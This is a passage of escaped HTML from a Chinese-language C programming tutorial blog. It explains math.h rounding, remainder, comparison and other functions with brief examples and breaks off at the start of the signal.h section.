href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#trunc\" class=\"headerlink\" title=\"trunc()\"\u003e\u003c/a\u003etrunc()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003etrunc()\u003c/code\u003e用来截去一个浮点数的小数部分,将剩下的整数部分以浮点数的形式返回。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003etrunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003etrunc(\u003cspan class=\"number\"\u003e3.14\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 3.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etrunc(\u003cspan class=\"number\"\u003e3.8\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 3.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etrunc(\u003cspan class=\"number\"\u003e-1.5\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// -1.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etrunc(\u003cspan class=\"number\"\u003e-1.14\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// -1.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"ceil\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ceil\" class=\"headerlink\" title=\"ceil()\"\u003e\u003c/a\u003eceil()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eceil()\u003c/code\u003e返回不小于其参数的最小整数(double 类型),属于“向上舍入”。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003eceil\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eceil\u003c/span\u003e(\u003cspan class=\"number\"\u003e7.1\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 8.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eceil\u003c/span\u003e(\u003cspan class=\"number\"\u003e7.9\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 8.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eceil\u003c/span\u003e(\u003cspan class=\"number\"\u003e-7.1\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// -7.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eceil\u003c/span\u003e(\u003cspan class=\"number\"\u003e-7.9\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// -7.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"floor\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#floor\" class=\"headerlink\" title=\"floor()\"\u003e\u003c/a\u003efloor()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efloor()\u003c/code\u003e返回不大于其参数的最大整数,属于“向下舍入”。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003efloor\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efloor\u003c/span\u003e(\u003cspan class=\"number\"\u003e7.1\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 7.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efloor\u003c/span\u003e(\u003cspan class=\"number\"\u003e7.9\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 7.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efloor\u003c/span\u003e(\u003cspan class=\"number\"\u003e-7.1\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// -8.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efloor\u003c/span\u003e(\u003cspan class=\"number\"\u003e-7.9\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// -8.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面的函数可以实现“四舍五入”。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003eround_nearest\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e x \u0026lt; \u003cspan class=\"number\"\u003e0.0\u003c/span\u003e ? \u003cspan class=\"built_in\"\u003eceil\u003c/span\u003e(x - \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e) : \u003cspan class=\"built_in\"\u003efloor\u003c/span\u003e(x + \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"fmod\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fmod\" class=\"headerlink\" title=\"fmod()\"\u003e\u003c/a\u003efmod()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efmod()\u003c/code\u003e返回第一个参数除以第二个参数的余数,就是余值运算符\u003ccode\u003e%\u003c/code\u003e的浮点数版本,因为\u003ccode\u003e%\u003c/code\u003e只能用于整数运算。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003efmod\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x, \u003cspan class=\"type\"\u003edouble\u003c/span\u003e y)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它在幕后执行的计算是\u003ccode\u003ex - trunc(x / y) * y\u003c/code\u003e,返回值的符号与\u003ccode\u003ex\u003c/code\u003e的符号相同。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efmod\u003c/span\u003e(\u003cspan class=\"number\"\u003e5.5\u003c/span\u003e, \u003cspan class=\"number\"\u003e2.2\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1.100000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efmod\u003c/span\u003e(\u003cspan class=\"number\"\u003e-9.2\u003c/span\u003e, \u003cspan class=\"number\"\u003e5.1\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// -4.100000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efmod\u003c/span\u003e(\u003cspan class=\"number\"\u003e9.2\u003c/span\u003e, \u003cspan class=\"number\"\u003e5.1\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 4.100000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"浮点数比较函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%B5%AE%E7%82%B9%E6%95%B0%E6%AF%94%E8%BE%83%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"浮点数比较函数\"\u003e\u003c/a\u003e浮点数比较函数\u003c/h3\u003e\u003cp\u003e以下函数用于两个浮点数的比较,返回值的类型是整数。\u003c/p\u003e\u003cul\u003e\u003cli\u003eisgreater():返回\u003ccode\u003ex \u0026gt; y\u003c/code\u003e的结果。\u003c/li\u003e\u003cli\u003eisgreaterequal():返回\u003ccode\u003ex \u0026gt;= y\u003c/code\u003e的结果。\u003c/li\u003e\u003cli\u003eisless():返回\u003ccode\u003ex \u0026lt; y\u003c/code\u003e的结果。\u003c/li\u003e\u003cli\u003eislessequal():返回\u003ccode\u003ex \u0026lt;= y\u003c/code\u003e的结果。\u003c/li\u003e\u003cli\u003eislessgreater():返回\u003ccode\u003e(x \u0026lt; y) || (x \u0026gt; y)\u003c/code\u003e的结果。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eisgreater(\u003cspan class=\"number\"\u003e10.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e3.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eisgreaterequal(\u003cspan class=\"number\"\u003e10.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e10.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eisless(\u003cspan class=\"number\"\u003e10.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e3.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eislessequal(\u003cspan class=\"number\"\u003e10.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e3.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eislessgreater(\u003cspan class=\"number\"\u003e10.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e3.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eislessgreater(\u003cspan class=\"number\"\u003e10.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e30.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eislessgreater(\u003cspan class=\"number\"\u003e10.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e10.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"isunordered\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#isunordered\" class=\"headerlink\" title=\"isunordered()\"\u003e\u003c/a\u003eisunordered()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eisunordered()\u003c/code\u003e返回两个参数之中,是否存在 NAN。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eisunordered\u003c/span\u003e\u003cspan class=\"params\"\u003e(any_floating_type x, any_floating_type y)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eisunordered(\u003cspan class=\"number\"\u003e1.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e2.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eisunordered(\u003cspan class=\"number\"\u003e1.0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(\u003cspan class=\"number\"\u003e-1\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eisunordered(NAN, \u003cspan class=\"number\"\u003e30.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eisunordered(NAN, NAN) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"其他函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%85%B6%E4%BB%96%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"其他函数\"\u003e\u003c/a\u003e其他函数\u003c/h3\u003e\u003cp\u003e下面是 math.h 包含的其它函数。\u003c/p\u003e\u003cul\u003e\u003cli\u003epow():计算参数\u003ccode\u003ex\u003c/code\u003e的\u003ccode\u003ey\u003c/code\u003e次方。\u003c/li\u003e\u003cli\u003esqrt():计算一个数的平方根。\u003c/li\u003e\u003cli\u003ecbrt():计算立方根。\u003c/li\u003e\u003cli\u003efabs():计算绝对值。\u003c/li\u003e\u003cli\u003ehypot():根据直角三角形的两条直角边,计算斜边。\u003c/li\u003e\u003cli\u003efmax():返回两个参数之中的最大值。\u003c/li\u003e\u003cli\u003efmin():返回两个参数之中的最小值。\u003c/li\u003e\u003cli\u003eremainder():返回 IEC 60559 标准的余数,类似于\u003ccode\u003efmod()\u003c/code\u003e,但是余数范围是从\u003ccode\u003e-y/2\u003c/code\u003e到\u003ccode\u003ey/2\u003c/code\u003e,而不是从\u003ccode\u003e0\u003c/code\u003e到\u003ccode\u003ey\u003c/code\u003e。\u003c/li\u003e\u003cli\u003eremquo():同时返回余数和商,余数的计算方法与\u003ccode\u003eremainder()\u003c/code\u003e相同。\u003c/li\u003e\u003cli\u003ecopysign():返回一个大小等于第一个参数、符号等于第二个参数的值。\u003c/li\u003e\u003cli\u003enan():返回 NAN。 \u003c/li\u003e\u003cli\u003enextafter():获取下一个(或者上一个,具体方向取决于第二个参数\u003ccode\u003ey\u003c/code\u003e)当前系统可以表示的浮点值。\u003c/li\u003e\u003cli\u003enextoward():与\u003ccode\u003enextafter()\u003c/code\u003e相同,除了第二个参数是 long double 类型。\u003c/li\u003e\u003cli\u003efdim():如果第一个参数减去第二个参数大于\u003ccode\u003e0\u003c/code\u003e,则返回差值,否则返回\u003ccode\u003e0\u003c/code\u003e。\u003c/li\u003e\u003cli\u003efma():以快速计算的方式,返回\u003ccode\u003ex * y + z\u003c/code\u003e的结果。\u003c/li\u003e\u003cli\u003enearbyint():在当前舍入方向上,舍入到最接近的整数。当前舍入方向可以使用\u003ccode\u003efesetround()\u003c/code\u003e函数设定。\u003c/li\u003e\u003cli\u003erint():在当前舍入方向上,舍入到最接近的整数,与\u003ccode\u003enearbyint()\u003c/code\u003e相同。不同之处是,它会触发浮点数的\u003ccode\u003eINEXACT\u003c/code\u003e异常。\u003c/li\u003e\u003cli\u003elrint():在当前舍入方向上,舍入到最接近的整数,与\u003ccode\u003erint()\u003c/code\u003e相同。不同之处是,返回值是一个整数,而不是浮点数。\u003c/li\u003e\u003cli\u003eerf():计算一个值的误差函数。\u003c/li\u003e\u003cli\u003eerfc():计算一个值的互补误差函数。\u003c/li\u003e\u003cli\u003etgamma():计算 Gamma 函数。\u003c/li\u003e\u003cli\u003elgamma():计算 Gamma 函数绝对值的自然对数。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epow\u003c/span\u003e(\u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 81.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(\u003cspan class=\"number\"\u003e3.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1.73205\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecbrt(\u003cspan class=\"number\"\u003e1729.03\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 12.002384\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efabs\u003c/span\u003e(\u003cspan class=\"number\"\u003e-3490.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 3490.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehypot(\u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 5.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmax(\u003cspan class=\"number\"\u003e3.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e10.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 10.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmin(\u003cspan class=\"number\"\u003e10.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e3.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 3.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"signal-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#signal-h\" class=\"headerlink\" title=\"signal.h\"\u003e\u003c/a\u003esignal.h\u003c/h2\u003e\u003ch3 id=\"简介-11\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-11\" class=\"headerlink\" 